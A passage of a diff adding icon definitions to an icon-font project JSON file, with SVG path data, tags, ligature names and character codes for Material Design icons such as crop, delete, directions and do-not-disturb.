0-84-38-84-86v-512c0-48 36-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "payment" + ], + "defaultCode": 59553, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "credit_card, payment", + "id": 186, + "order": 197, + "prevSize": 24, + "code": 59553, + "name": "payment" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 186 + }, + { + "icon": { + "paths": [ + "M298 726h684v84h-172v172h-84v-172h-428c-46 0-84-38-84-84v-428h-172v-84h172v-172h84v684zM726 640v-342h-342v-84h342c46 0 84 38 84 84v342h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop" + ], + "defaultCode": 58302, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop", + "id": 187, + "order": 198, + "prevSize": 24, + "code": 58302, + "name": "crop2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 187 + }, + { + "icon": { + "paths": [ + "M810 682v-340h-596v340h596zM810 256c46 0 86 40 86 86v340c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-340c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_16_9" + ], + "defaultCode": 58300, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_16_9", + "id": 188, + "order": 199, + "prevSize": 24, + "code": 58300, + "name": "crop_16_9" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 188 + }, + { + "icon": { + "paths": [ + "M810 768v-512h-596v512h596zM810 170c46 0 86 40 86 86v512c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-512c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_3_2" + ], + "defaultCode": 58301, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_3_2", + "id": 189, + "order": 200, + "prevSize": 24, + "code": 58301, + "name": "crop_3_2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 189 + }, + { + "icon": { + "paths": [ + "M810 726v-428h-596v428h596zM810 214c46 0 86 38 86 84v428c0 46-40 84-86 84h-596c-46 0-86-38-86-84v-428c0-46 40-84 86-84h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_landscape" + ], + "defaultCode": 58307, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_5_4, crop_landscape", + "id": 190, + "order": 201, + "prevSize": 24, + "code": 58307, + "name": "crop_landscape" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 190 + }, + { + "icon": { + "paths": [ + "M810 640v-256h-596v256h596zM810 298c46 0 86 40 86 86v256c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-256c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_7_5" + ], + "defaultCode": 58304, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_7_5", + "id": 191, + "order": 202, + "prevSize": 24, + "code": 58304, + "name": "crop_7_5" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 191 + }, + { + "icon": { + "paths": [ + "M810 810v-596h-596v596h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_din" + ], + "defaultCode": 58305, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_din", + "id": 192, + "order": 203, + "prevSize": 24, + "code": 58305, + "name": "crop_din" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 192 + }, + { + "icon": { + "paths": [ + "M810 128c46 0 86 40 86 86v170h-86v-170h-170v-86h170zM810 810v-170h86v170c0 46-40 86-86 86h-170v-86h170zM214 640v170h170v86h-170c-46 0-86-40-86-86v-170h86zM128 214c0-46 40-86 86-86h170v86h-170v170h-86v-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_free" + ], + "defaultCode": 58306, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_free", + "id": 193, + "order": 204, + "prevSize": 24, + "code": 58306, + "name": "crop_free" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 193 + }, + { + "icon": { + "paths": [ + "M596 524l150 202h-468l116-152 84 102zM810 810v-596h-596v596h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_original" + ], + "defaultCode": 58308, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_original", + "id": 194, + "order": 205, + "prevSize": 24, + "code": 58308, + "name": "crop_original" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 194 + }, + { + "icon": { + "paths": [ + "M726 810v-596h-428v596h428zM726 128c46 0 84 40 84 86v596c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-596c0-46 38-86 84-86h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_portrait" + ], + "defaultCode": 58309, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_portrait", + "id": 195, + "order": 206, + "prevSize": 24, + "code": 58309, + "name": "crop_portrait" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 195 + }, + { + "icon": { + "paths": [ + "M342 682h512v86h-86v86h-86v-86h-340c-48 0-86-40-86-86v-340h-86v-86h86v-86h86v512zM682 598v-256h-256v-86h256c46 0 86 38 86 86v256h-86zM514 0c268 0 488 208 510 470h-64c-16-160-114-296-254-362l-58 56-162-162c10 0 18-2 28-2zM318 916l58-56 162 162c-10 0-18 2-28 2-268 0-488-208-510-470h64c16 160 114 296 254 362z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_rotate" + ], + "defaultCode": 58423, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_rotate", + "id": 196, + "order": 207, + "prevSize": 24, + "code": 58423, + "name": "crop_rotate" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 196 + }, + { + "icon": { + "paths": [ + "M768 768v-512h-512v512h512zM768 170c46 0 86 40 86 86v512c0 46-40 86-86 86h-512c-46 0-86-40-86-86v-512c0-46 40-86 86-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop_square" + ], + "defaultCode": 58310, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "crop_square", + "id": 197, + "order": 208, + "prevSize": 24, + "code": 58310, + "name": "crop_square" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 197 + }, + { + "icon": { + "paths": [ + "M554 128h342v256h-342v-256zM554 896v-426h342v426h-342zM128 896v-256h342v256h-342zM128 554v-426h342v426h-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dashboard" + ], + "defaultCode": 59505, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dashboard", + "id": 198, + "order": 209, + "prevSize": 24, + "code": 59505, + "name": "dashboard2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 198 + }, + { + "icon": { + "paths": [ + "M512 810c94 0 178-44 232-112l112 66c-78 106-202 174-344 174-236 0-426-190-426-426 0-222 168-402 384-424v128c-144 20-256 146-256 296 0 166 132 298 298 298zM554 88c216 22 384 202 384 424 0 62-12 122-36 174l-112-66c12-34 20-70 20-108 0-150-112-276-256-296v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "data_usage" + ], + "defaultCode": 57775, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "data_usage", + "id": 199, + "order": 210, + "prevSize": 24, + "code": 57775, + "name": "data_usage" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 199 + }, + { + "icon": { + "paths": [ + "M810 854v-470h-596v470h596zM810 170c46 0 86 40 86 86v598c0 46-40 84-86 84h-596c-48 0-86-38-86-84v-598c0-46 38-86 86-86h42v-84h86v84h340v-84h86v84h42zM726 470v84h-86v-84h86zM554 470v84h-84v-84h84zM384 470v84h-86v-84h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "date_range" + ], + "defaultCode": 59670, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "date_range", + "id": 200, + "order": 211, + "prevSize": 24, + "code": 59670, + "name": "date_range" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 200 + }, + { + "icon": { + "paths": [ + "M86 234h852v86h-852v-86zM86 448h852v86h-852v-86zM86 662h852v84h-852v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dehaze" + ], + "defaultCode": 58311, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dehaze", + "id": 201, + "order": 212, + "prevSize": 24, + "code": 58311, + "name": "dehaze" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 201 + }, + { + "icon": { + "paths": [ + "M810 170v86h-596v-86h148l44-42h212l44 42h148zM256 810v-512h512v512c0 46-40 86-86 86h-340c-46 0-86-40-86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "delete" + ], + "defaultCode": 59506, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "delete", + "id": 202, + "order": 213, + "prevSize": 24, + "code": 59506, + "name": "delete" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 202 + }, + { + "icon": { + "paths": [ + "M662 170h148v86h-596v-86h148l44-42h212zM360 506l92 92-90 90 60 60 90-90 90 90 60-60-90-90 90-92-60-60-90 92-90-92zM256 810v-512h512v512c0 46-40 86-86 86h-340c-46 0-86-40-86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "delete_forever" + ], + "defaultCode": 59691, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "delete_forever", + "id": 203, + "order": 214, + "prevSize": 24, + "code": 59691, + "name": "delete_forever" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 203 + }, + { + "icon": { + "paths": [ + "M598 214v84h-512v-84h128l42-44h170l44 44h128zM128 768v-426h426v426c0 46-38 86-84 86h-256c-46 0-86-40-86-86zM640 512h256v86h-256v-86zM640 342h298v84h-298v-84zM640 682h170v86h-170v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "delete_sweep" + ], + "defaultCode": 57708, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "delete_sweep", + "id": 204, + "order": 215, + "prevSize": 24, + "code": 57708, + "name": "delete_sweep" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 204 + }, + { + "icon": { + "paths": [ + "M554 384h236l-236-234v234zM682 598v-86h-340v86h340zM682 768v-86h-340v86h340zM598 86l256 256v512c0 46-40 84-86 84h-512c-46 0-86-38-86-84l2-684c0-46 38-84 84-84h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "description" + ], + "defaultCode": 59507, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "description", + "id": 205, + "order": 216, + "prevSize": 24, + "code": 59507, + "name": "description" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 205 + }, + { + "icon": { + "paths": [ + "M896 598v-428h-768v428h768zM896 86c46 0 86 38 86 84v512c0 46-40 86-86 86h-298l84 128v42h-340v-42l84-128h-298c-46 0-86-40-86-86v-512c0-46 40-84 86-84h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "desktop_mac" + ], + "defaultCode": 58123, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "desktop_mac", + "id": 206, + "order": 217, + "prevSize": 24, + "code": 58123, + "name": "desktop_mac" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 206 + }, + { + "icon": { + "paths": [ + "M896 682v-512h-768v512h768zM896 86c46 0 86 38 86 84v512c0 46-40 86-86 86h-298v86h84v84h-340v-84h84v-86h-298c-46 0-86-40-86-86v-512c0-46 40-84 86-84h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "desktop_windows" + ], + "defaultCode": 58124, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "desktop_windows", + "id": 207, + "order": 218, + "prevSize": 24, + "code": 58124, + "name": "desktop_windows" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 207 + }, + { + "icon": { + "paths": [ + "M272 256l240 426 240-426h-480zM128 170h768l-384 684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "details" + ], + "defaultCode": 58312, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "details", + "id": 208, + "order": 219, + "prevSize": 24, + "code": 58312, + "name": "details" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 208 + }, + { + "icon": { + "paths": [ + "M512 470h170v256h-170v-256zM256 298h214v214h-214v-214zM512 298h170v128h-170v-128zM256 554h214v172h-214v-172zM768 810v-596h-598v596h598zM938 384h-84v86h84v84h-84v86h84v86h-84v84c0 46-40 86-86 86h-598c-46 0-84-40-84-86v-596c0-46 38-86 84-86h598c46 0 86 40 86 86v84h84v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "developer_board" + ], + "defaultCode": 58125, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "developer_board", + "id": 209, + "order": 220, + "prevSize": 24, + "code": 58125, + "name": "developer_board" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 209 + }, + { + "icon": { + "paths": [ + "M726 810v-84h84v170c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-170h84v84h428zM426 648l-60 60-196-196 196-196 60 60-134 136zM658 708l-60-60 134-136-134-136 60-60 196 196zM298 214v84h-84v-170c0-46 38-86 84-86l428 2c46 0 84 38 84 84v170h-84v-84h-428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "developer_mode" + ], + "defaultCode": 57776, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "developer_mode", + "id": 210, + "order": 221, + "prevSize": 24, + "code": 57776, + "name": "developer_mode" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 210 + }, + { + "icon": { + "paths": [ + "M726 682h170v214h-214v-130l-170-180-170 180v130h-214v-214h170l172-170v-136c-50-18-86-64-86-120 0-70 58-128 128-128s128 58 128 128c0 56-36 102-86 120v136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "device_hub" + ], + "defaultCode": 58165, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "device_hub", + "id": 211, + "order": 222, + "prevSize": 24, + "code": 58165, + "name": "device_hub" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 211 + }, + { + "icon": { + "paths": [ + "M938 726v-300h-170v300h170zM982 342c24 0 42 18 42 42v426c0 24-18 44-42 44h-256c-24 0-44-20-44-44v-426c0-24 20-42 44-42h256zM170 256v470h428v128h-598v-128h86v-470c0-46 38-86 84-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phonelink" + ], + "defaultCode": 58150, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "devices, phonelink", + "id": 212, + "order": 223, + "prevSize": 24, + "code": 58150, + "name": "phonelink" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 212 + }, + { + "icon": { + "paths": [ + "M896 768v-342h-170v342h170zM938 342c22 0 44 20 44 42v426c0 22-22 44-44 44h-256c-22 0-42-22-42-44v-426c0-22 20-42 42-42h256zM470 746c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM554 512v76c26 24 44 56 44 94s-18 72-44 96v76h-170v-76c-26-24-42-58-42-96s16-70 42-94v-76h170zM128 256v512h170v86h-170c-46 0-86-40-86-86v-512c0-46 40-86 86-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "devices_other" + ], + "defaultCode": 58167, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "devices_other", + "id": 213, + "order": 224, + "prevSize": 24, + "code": 58167, + "name": "devices_other" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 213 + }, + { + "icon": { + "paths": [ + "M854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 122 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24zM854 214v-44h-44v44h44zM768 128h128v128h-86v86h-42v-214zM640 214v128h-128v-44h86v-42h-86v-128h128v42h-86v44h86zM726 128v214h-44v-214h44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dialer_sip" + ], + "defaultCode": 57531, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dialer_sip", + "id": 214, + "order": 225, + "prevSize": 24, + "code": 57531, + "name": "dialer_sip" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 214 + }, + { + "icon": { + "paths": [ + "M512 42c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM512 298c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM768 298c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM768 554c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM512 554c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM768 214c-46 0-86-40-86-86s40-86 86-86 86 40 86 86-40 86-86 86zM256 554c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM256 298c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM256 42c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM512 810c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dialpad" + ], + "defaultCode": 57532, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dialpad", + "id": 215, + "order": 226, + "prevSize": 24, + "code": 57532, + "name": "dialpad" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 215 + }, + { + "icon": { + "paths": [ + "M598 618l148-148-148-150v106h-214c-24 0-42 20-42 44v170h84v-128h172v106zM926 482c16 18 16 44 0 60l-384 384c-16 16-44 16-60 0l-384-384c-16-16-16-44 0-60l384-384c16-16 44-16 60 0z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions" + ], + "defaultCode": 58670, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions", + "id": 216, + "order": 227, + "prevSize": 24, + "code": 58670, + "name": "directions" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 216 + }, + { + "icon": { + "paths": [ + "M810 874c82 0 150-66 150-148s-68-150-150-150-148 68-148 150 66 148 148 148zM810 512c120 0 214 94 214 214s-94 212-214 212-212-92-212-212 92-214 212-214zM460 448l94 98v264h-84v-212l-138-120c-18-12-24-34-24-60 0-22 6-42 24-60l120-120c12-18 34-24 60-24s46 6 68 24l82 82c38 38 88 64 152 64v86c-90 0-160-34-216-90l-34-34zM214 874c82 0 148-66 148-148s-66-150-148-150-150 68-150 150 68 148 150 148zM214 512c120 0 212 94 212 214s-92 212-212 212-214-92-214-212 94-214 214-214zM662 234c-46 0-86-38-86-84s40-86 86-86 84 40 84 86-38 84-84 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_bike" + ], + "defaultCode": 58671, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_bike", + "id": 217, + "order": 228, + "prevSize": 24, + "code": 58671, + "name": "directions_bike" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 217 + }, + { + "icon": { + "paths": [ + "M256 256v170l256-84 256 84v-170h-512zM168 810l-80-284c-9.564-28.693 7.98-47.327 28-54l54-18v-198c0-46 40-86 86-86h128v-128h256v128h128c46 0 86 40 86 86v198l54 18c20.040 6.68 37.574 25.277 28 54l-80 284h-2c-68 0-130-36-172-84-42 48-102 84-170 84s-128-36-170-84c-42 48-104 84-172 84h-2zM854 896h84v86h-84c-58 0-118-14-172-42-108 56-232 56-340 0-54 28-114 42-172 42h-84v-86h84c60 0 120-20 172-56 104 72 236 72 340 0 52 36 112 56 172 56z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_boat" + ], + "defaultCode": 58674, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_boat", + "id": 218, + "order": 229, + "prevSize": 24, + "code": 58674, + "name": "directions_boat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 218 + }, + { + "icon": { + "paths": [ + "M768 470v-214h-512v214h512zM704 726c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM320 726c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM170 682v-426c0-150 154-170 342-170s342 20 342 170v426c0 38-18 72-44 96v76c0 24-18 42-42 42h-42c-24 0-44-18-44-42v-44h-340v44c0 24-20 42-44 42h-42c-24 0-42-18-42-42v-76c-26-24-44-58-44-96z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_bus" + ], + "defaultCode": 58672, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_bus", + "id": 219, + "order": 230, + "prevSize": 24, + "code": 58672, + "name": "directions_bus" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 219 + }, + { + "icon": { + "paths": [ + "M214 470h596l-64-192h-468zM746 682c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM278 682c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM808 256l88 256v342c0 24-18 42-42 42h-44c-24 0-42-18-42-42v-44h-512v44c0 24-18 42-42 42h-44c-24 0-42-18-42-42v-342l88-256c8-26 34-42 62-42h468c28 0 54 16 62 42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_car" + ], + "defaultCode": 58673, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_car", + "id": 220, + "order": 231, + "prevSize": 24, + "code": 58673, + "name": "directions_car" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 220 + }, + { + "icon": { + "paths": [ + "M768 426v-212h-512v212h512zM512 726c46 0 86-40 86-86s-40-86-86-86-86 40-86 86 40 86 86 86zM170 662v-448c0-150 154-172 342-172s342 22 342 172v448c0 82-68 148-150 148l64 64v22h-512v-22l64-64c-82 0-150-66-150-148z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_railway" + ], + "defaultCode": 58676, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_railway", + "id": 221, + "order": 232, + "prevSize": 24, + "code": 58676, + "name": "directions_railway" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 221 + }, + { + "icon": { + "paths": [ + "M422 826l-298-58 16-86 210 42 68-346-78 30v146h-84v-200l222-94c12 0 22-4 34-4 30 0 54 16 72 42l42 68c34 60 102 102 184 102v86c-94 0-178-42-234-106l-26 128 90 84v320h-86v-256l-90-84zM576 234c-46 0-86-40-86-86s40-84 86-84 84 38 84 84-38 86-84 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_run" + ], + "defaultCode": 58726, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_run", + "id": 222, + "order": 233, + "prevSize": 24, + "code": 58726, + "name": "directions_run" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 222 + }, + { + "icon": { + "paths": [ + "M768 470v-214h-214v214h214zM704 726c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM470 470v-214h-214v214h214zM320 726c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM512 86c188 0 342 20 342 170v406c0 82-68 148-150 148l64 64v22h-512v-22l64-64c-82 0-150-66-150-148v-406c0-150 154-170 342-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_transit" + ], + "defaultCode": 58677, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_subway, directions_transit", + "id": 223, + "order": 234, + "prevSize": 24, + "code": 58677, + "name": "directions_transit" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 223 + }, + { + "icon": { + "paths": [ + "M418 380l-120 602h90l78-342 88 86v256h86v-320l-90-86 26-128c56 64 140 106 234 106v-84c-82 0-148-44-182-104l-44-68c-18-26-42-42-72-42-12 0-22 4-34 4l-222 94v200h86v-144l76-30zM576 234c-46 0-86-38-86-84s40-86 86-86 86 40 86 86-40 84-86 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "directions_walk" + ], + "defaultCode": 58678, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "directions_walk", + "id": 224, + "order": 235, + "prevSize": 24, + "code": 58678, + "name": "directions_walk" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 224 + }, + { + "icon": { + "paths": [ + "M426 598c46 0 86-40 86-86s-40-86-86-86-84 40-84 86 38 86 84 86zM426 170c188 0 342 154 342 342s-154 342-342 342-340-154-340-342 152-342 340-342zM854 298h84v214h-84v-214zM854 682v-84h84v84h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "disc_full" + ], + "defaultCode": 58896, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "disc_full", + "id": 225, + "order": 236, + "prevSize": 24, + "code": 58896, + "name": "disc_full" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 225 + }, + { + "icon": { + "paths": [ + "M298 384c46 0 86-40 86-86s-40-84-86-84-84 38-84 84 38 86 84 86zM854 128c24 0 42 18 42 42v256c0 24-18 44-42 44h-684c-24 0-42-20-42-44v-256c0-24 18-42 42-42h684zM298 810c46 0 86-38 86-84s-40-86-86-86-84 40-84 86 38 84 84 84zM854 554c24 0 42 20 42 44v256c0 24-18 42-42 42h-684c-24 0-42-18-42-42v-256c0-24 18-44 42-44h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dns" + ], + "defaultCode": 59509, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dns", + "id": 226, + "order": 237, + "prevSize": 24, + "code": 59509, + "name": "dns" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 226 + }, + { + "icon": { + "paths": [ + "M782 722c46-58 72-132 72-210 0-188-154-342-342-342-78 0-152 26-210 72zM512 854c78 0 152-26 210-72l-480-480c-46 58-72 132-72 210 0 188 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "not_interested" + ], + "defaultCode": 57395, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "do_not_disturb, not_interested", + "id": 227, + "order": 238, + "prevSize": 24, + "code": 57395, + "name": "not_interested" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 227 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342 0-76-28-150-74-210l-478 478c60 46 134 74 210 74zM170 512c0 76 28 150 74 210l478-478c-60-46-134-74-210-74-188 0-342 154-342 342zM512 86c234 0 426 192 426 426s-192 426-426 426-426-192-426-426 192-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "do_not_disturb_alt" + ], + "defaultCode": 58897, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "do_not_disturb_alt", + "id": 228, + "order": 239, + "prevSize": 24, + "code": 58897, + "name": "do_not_disturb_alt" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 228 + }, + { + "icon": { + "paths": [ + "M298 554h148l-86-84h-62v84zM96 96l832 832-56 54-118-120c-68 48-152 76-242 76-236 0-426-190-426-426 0-90 28-174 76-242l-120-118zM726 470h-148l-308-308c68-48 152-76 242-76 236 0 426 190 426 426 0 90-28 174-76 242l-198-200h62v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "do_not_disturb_off" + ], + "defaultCode": 58947, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "do_not_disturb_off", + "id": 229, + "order": 240, + "prevSize": 24, + "code": 58947, + "name": "do_not_disturb_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 229 + }, + { + "icon": { + "paths": [ + "M726 554v-84h-428v84h428zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "remove_circle" + ], + "defaultCode": 57692, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "do_not_disturb_on, remove_circle", + "id": 230, + "order": 241, + "prevSize": 24, + "code": 57692, + "name": "remove_circle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 230 + }, + { + "icon": { + "paths": [ + "M682 640v-426h-340v426h340zM682 44c46 0 86 38 86 